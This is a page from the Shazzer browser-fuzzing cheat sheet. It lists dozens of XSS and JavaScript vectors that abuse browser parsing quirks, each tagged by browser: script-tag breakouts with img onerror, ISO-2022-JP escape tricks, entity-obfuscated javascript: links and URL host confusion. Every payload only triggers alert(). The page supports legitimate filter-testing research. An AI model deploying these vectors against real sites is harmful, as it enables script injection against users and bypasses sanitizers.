Shazzer logo

Cheat Sheet

Generated payloads from fuzz test results. Filter by type, category, or browser.

Found 169 vectors with results

<div id="test" style="background-image: url(00;width:100%">hello</div>
XSSURL HandlingChrome
if (new URL('https://www.example.com/0x00evil.com').host=='evil.com') {0x0D
    alert('"https://www.example.com/0x00evil.com" -> "evil.com"')0x0D
}0x0D
0x0D
if (new URL('https://www.example.com0x00evil.com').host=='evil.com') {0x0D
    alert('"https://www.example.com0x00evil.com" -> "evil.com"')0x0D
}
Source: Host
Author: IDKdir
JSURL HandlingChrome
<script>0x0D
x = "<!--<script>>"0x0D
</script>0x0D
<div title="</script><img src=data: onerror=alert(62)>"></div>
XSSHTML ParsingChromeFirefoxMicrosoft Edge
<script>0x0D
x = "<!--<script0x0C>"0x0D
</script>0x0D
<div title="</script><img src=data: onerror=alert(12)>"></div>
XSSHTML ParsingChromeFirefoxMicrosoft Edge
<script>0x0D
x = "<!--<script >"0x0D
</script>0x0D
<div title="</script><img src=data: onerror=alert(32)>"></div>
XSSHTML ParsingChromeFirefoxMicrosoft Edge
<script>0x0D
x = "<!--<script0x0D>"0x0D
</script>0x0D
<div title="</script><img src=data: onerror=alert(13)>"></div>
XSSHTML ParsingChromeFirefoxMicrosoft Edge
<script>0x0D
x = "<!--<script/>"0x0D
</script>0x0D
<div title="</script><img src=data: onerror=alert(47)>"></div>
XSSHTML ParsingChromeFirefoxMicrosoft Edge
let img = document.createElement('img');0x0D
img.src = 'data:';0x0D
img.setAttribute('\onerror','alert(92)')0x0D
document.body.append(img);
JSDOM BehaviorChromeFirefoxSafari
s = "abc";0x0D
keys = insertPayload("__proto__", fromCodePoint(0))0x0D
0x0D
for(i = 0; i < keys.length; i++) {0x0D
    if (typeof s[keys[i]] != "undefined") {0x0D
        alert(keys[i]);0x0D
        break;0x0D
    }0x0D
}
JSXSS ExecutionChrome
new URL("https://x.se/long/..0x09/a").pathname.length > 4 ?  false : alert(9)
JSURL HandlingChromeFirefoxSafari
new URL("https://x.se/long/..#/a").pathname.length > 4 ?  false : alert(35)
JSURL HandlingChromeFirefoxSafari
new URL("https://x.se/long/..//a").pathname.length > 4 ?  false : alert(47)
JSURL HandlingChromeFirefoxSafari
new URL("https://x.se/long/..?/a").pathname.length > 4 ?  false : alert(63)
JSURL HandlingChromeFirefoxSafari
new URL("https://x.se/long/..\/a").pathname.length > 4 ?  false : alert(92)
JSURL HandlingChromeFirefoxSafari
<a href="javascript&colo0x00n;abcd" id="x">f</a>0x0D
XSSEntity ParsingChrome
b1 = Math.floor(i / 256);0x0D
b2 = i % 256;0x0D
c = d.decode(new Uint8Array([0x1b, 0x24, 0x40, b1, b2])) 0x0D
if (c.split("").map((c) => c.charCodeAt(0)).some((i) => i < 127)) alert(i)
JSCharacter EncodingChrome
<a href="https://0x00.example.com/" id="test0"></a>
XSSURL HandlingChrome
<img src=>{"[alert]"}<img/src/onerror=alert(1)>
Source: work
Author: nu11secur1ty
HTMLHTML ParsingChrome
let chr = String.fromCodePoint(33);0x0D
escape(chr) !== encodeURIComponent(chr) && alert(33)
JSXSS ExecutionChromeFirefoxSafari
let chr = String.fromCodePoint(43);0x0D
escape(chr) !== encodeURIComponent(chr) && alert(43)
JSXSS ExecutionChromeFirefoxSafari
let chr = String.fromCodePoint(47);0x0D
escape(chr) !== encodeURIComponent(chr) && alert(47)
JSXSS ExecutionChromeFirefoxSafari
let chr = String.fromCodePoint(64);0x0D
escape(chr) !== encodeURIComponent(chr) && alert(64)
JSXSS ExecutionChromeFirefoxSafari
<script>"\\"-alert(92)//"</script>
XSSCharacter EncodingChromeFirefoxSafari
<<script><notfound></script>
HTMLHTML ParsingFirefoxChrome
try {0x0D
    standard_chars = [0x0D
        `"`, `'`, `,`, `\n`, `\t`, `\r`, `}`, `{`, `\\`0x0D
    ];0x0D
0x0D
    if (!standard_chars.includes(String.fromCodePoint(0))) { 0x0D
        JSON.parse(`{"test":"0x00"}`);0x0D
    }0x0D
} catch {0x0D
    alert(0);0x0D
}0x0D
JSXSS ExecutionChromeSafari
try {0x0D
    standard_chars = [0x0D
        `"`, `'`, `,`, `\n`, `\t`, `\r`, `}`, `{`, `\\`0x0D
    ];0x0D
0x0D
    if (!standard_chars.includes(String.fromCodePoint(1))) { 0x0D
        JSON.parse(`{"test":"0x01"}`);0x0D
    }0x0D
} catch {0x0D
    alert(1);0x0D
}0x0D
JSXSS ExecutionChromeSafari
try {0x0D
    standard_chars = [0x0D
        `"`, `'`, `,`, `\n`, `\t`, `\r`, `}`, `{`, `\\`0x0D
    ];0x0D
0x0D
    if (!standard_chars.includes(String.fromCodePoint(2))) { 0x0D
        JSON.parse(`{"test":"0x02"}`);0x0D
    }0x0D
} catch {0x0D
    alert(2);0x0D
}0x0D
JSXSS ExecutionChromeSafari
try {0x0D
    standard_chars = [0x0D
        `"`, `'`, `,`, `\n`, `\t`, `\r`, `}`, `{`, `\\`0x0D
    ];0x0D
0x0D
    if (!standard_chars.includes(String.fromCodePoint(3))) { 0x0D
        JSON.parse(`{"test":"0x03"}`);0x0D
    }0x0D
} catch {0x0D
    alert(3);0x0D
}0x0D
JSXSS ExecutionChromeSafari
try {0x0D
    standard_chars = [0x0D
        `"`, `'`, `,`, `\n`, `\t`, `\r`, `}`, `{`, `\\`0x0D
    ];0x0D
0x0D
    if (!standard_chars.includes(String.fromCodePoint(4))) { 0x0D
        JSON.parse(`{"test":"0x04"}`);0x0D
    }0x0D
} catch {0x0D
    alert(4);0x0D
}0x0D
JSXSS ExecutionChromeSafari
let transformedChr = String.fromCodePoint(0).toUpperCase();0x0D
0 > 0x7f &&0x0D
/^\w+$/.test(transformedChr) &&0x0D
alert(0 + '=>' + transformedChr)
JSXSS ExecutionSafariFirefoxChrome
<a id="0x1B$@"></a>0x1B(B<a id="><img src=x onerror=alert(64)></a>
XSSHTML ParsingChrome
<a id="0x1B$B"></a>0x1B(B<a id="><img src=x onerror=alert(66)></a>
XSSHTML ParsingChrome
let transformedChr = String.fromCodePoint(0).toLowerCase();0x0D
0 > 0x7f &&0x0D
/^\w+$/.test(transformedChr) &&0x0D
alert(0 + '=>' + transformedChr)
JSXSS ExecutionSafariFirefoxChrome
<0x1B(<img src onerror=alert(60)>
XSSCharacter EncodingChromeFirefoxSafariMicrosoft Edge
<0x1B(Bimg src onerror=alert(66)>
XSSCharacter EncodingChromeFirefoxSafariMicrosoft Edge
<a id="0x1B$B"></a>0x1B(B<a id="><img src=x onerror=alert(66)></a>
XSSHTML ParsingChrome
<a id="0x1B$B"></a>0x1B(J<a id="><img src=x onerror=alert(74)></a>
XSSHTML ParsingChrome

Page 7 of 9